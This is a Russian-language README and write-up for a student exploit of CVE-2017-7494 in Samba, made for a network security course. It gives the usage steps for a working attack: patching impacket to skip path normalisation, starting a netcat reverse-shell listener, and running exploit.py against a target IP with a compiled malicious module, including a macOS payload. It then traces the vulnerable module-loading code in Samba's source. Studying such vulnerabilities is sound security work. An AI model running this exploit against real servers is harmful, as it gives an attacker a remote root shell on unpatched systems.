Эксплуатация CVE-2017-7494 для финального задания курса Net Security. Это позволит выявить уязвимость служб, работающих с административными привилегиями в Linux.
Эксплойт для CVE-2017-7494 в рамках финального задания по курсу сетевой безопасности. Он демонстрирует уязвимость служб, работающих с привилегиями администратора в ОС.
Эта ошибка работоспособна как на macOS, так и на Linux.
Перед эксплуатацией необходимо загрузить зависимости.
/bin/bash install_requirement.sh
Одной из важнейших зависимостей является пакет impacket для Python. Он обеспечивает работу SMB-соединения.
Однако для того, чтобы сконструировать корректный запрос, заставляющий сервер Samba загрузить наш вредоносный модуль, необходимо изменить оригинальный impacket.
Установочный скрипт install_requirement.sh устанавливает модифицированную версию (изменённую мной), поэтому вам не нужно об этом беспокоиться и не требуется выполнять никаких ручных изменений.
Однако если вы хотите использовать более новую или другую версию impacket, вам придётся изменить этот пакет самостоятельно.
Перейдите в
impacket/impacket/smb3.py, измените строку 11154 и закомментируйте следующие две строки:
# fileName = fileName.replace('/', '\\') Должно быть закомментировано!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Должно быть закомментировано!
if fileName[0] == '\\':
fileName = fileName[1:]
Для эксплуатации цели необходимо открыть два терминала. Один использует netcat для взаимодействия с реверс-шеллом, другой — для эксплуатации уязвимости.
Использование:
# Первый терминал: используем nc для получения реверс-шелла
$ nc -p 23333 -l
# Второй терминал: эксплуатация цели
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Если целью является macOS, не следует компилировать модуль на Linux! Поскольку gcc не поддерживает формат MACH-O. Если вы пользователь Mac, компиляция полезной нагрузки для macOS работает.
В каталоге находится предварительно скомпилированная версия: mac_payload.so.
Используйте флаг -m, чтобы сообщить exploit.py, что вы используете пользовательскую полезную нагрузку.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Подробный процесс будет опубликован на китайском языке в качестве моего финального задания. Если вы понимаете китайский, вам будет несложно. :)
—— Отчёт о CVE-2017-7494
EternalBlue в 2017 году причинил огромный ущерб, используя механизм Windows SMB для червеобразных атак. SMB — это служба, работающая в Windows, позволяющая обмениваться файлами и выполнять удалённые вызовы процедур (RPC) между разными хостами. Возможно, именно из-за таких функций она часто становится целью хакеров.
Уязвимости в самом ядре операционной системы должны быть довольно редкими — даже для Windows. Проблемы обычно возникают в различных службах, работающих поверх операционной системы. У них нет такого строгого и тщательно протестированного кода, как у ядра, но они работают с высокими привилегиями, что создаёт множество возможностей для злонамеренного использования. Можем ли мы атаковать высокопривилегированные службы, а не низкоуровневые компоненты самой ОС, и тем самым скомпрометировать всю систему? Сама по себе операционная система — это лишь ядро, которое ничего не может сделать; только запуская различные системные службы, она предоставляет нам разнообразные функции. Многие службы ОС требуют работы с правами администратора (как демоны), поэтому, скомпрометировав такую высокопривилегированную службу, можно естественным образом получить права администратора системы и, следовательно, компрометировать всю ОС.
В итоге я нашёл уязвимость в реализации SMB с открытым исходным кодом — Samba: CVE-2017-7494. Как и в случае с Windows, злоумышленник может получить права администратора ОС через удалённый вызов процедур Samba, что открывает возможность создания червя для атак в сети.
Ядро Linux традиционно славится своей безопасностью благодаря открытому исходному коду; macOS, как нишевая система, из-за малого количества вирусов часто создаёт иллюзию безопасности. Поэтому в данном эксперименте я выбрал macOS и несколько различных дистрибутивов Linux для атаки, чтобы продемонстрировать уязвимость операционных систем — независимо от того, насколько «безопасным» кажется дизайн ОС, в любом случае она может быть скомпрометирована из-за уязвимости в небольшом приложении.
Поскольку Samba является службой, эквивалентной SMB, её иногда называют «аналогом EternalBlue для Linux», хотя, на мой взгляд, с технической точки зрения между ними есть принципиальные различия:
Данная уязвимость связана с вызовом smb_probe_module() в функции bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) из source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Здесь проблема
status = smb_probe_module("rpc", pipename);
....
Верхнеуровневая функция is_known_pipename() — это управляющий модуль np_open(). После проверки запроса к службе RPC она вызывает is_known_pipename(). Судя по названию, is_known_pipename() определяет, зарегистрирован ли удалённый канал. Однако после версии Samba 3.50 была добавлена новая функция: загрузка динамических модулей через вызов smb_probe_module(). Данная уязвимость использует эту функцию загрузки модулей для вызова собственного вредоносного модуля.
Загрузка модуля rpc pipe происходит по следующей цепочке вызовов:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
В версиях Samba 3.5.0 – 4.6.3 функция do_smb_load_module() использовалась повторно: её вызывал как smb_probe_module() (для загрузки модулей RPC), так и другой smb_load_module() (для загрузки собственных модулей). smb_load_module() предназначена для загрузки известных модулей, вероятно, для внутреннего расширения функциональности Samba, например, модулей VFS; тогда как smb_probe_module() должна загружать потенциальные модули, возможно, из запросов RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Чтобы эти две функции с разными источниками могли использовать один и тот же модуль (хотя, на мой взгляд, их ни в коем случае не следует разделять), do_smb_load_module() реализует два способа: «загрузка модуля в подсистеме SMB через разбор запроса» и «загрузка модуля по абсолютному пути».
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// Комментарий к комментарию: если переданный путь поступает из smb_probe_module(), который не должен выдавать абсолютные пути, но всё же выдаёт, то эта проверка не сработает — это и есть принцип эксплуатации данной уязвимости.
if (subsystem && module_name[0] != '/')
{
// Обычно должен войти в подсистему, преобразовать путь подсистемы SMB в абсолютный
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// Но он напрямую загружает сконструированный нами абсолютный путь, попадая сюда
init = load_module(module_name, is_probe, &handle);
// Таким образом, init заставляет «модуль несуществующего канала» использовать модуль из абсолютного пути
}
// Здесь происходит прямой вызов вредоносного кода
status = init();
...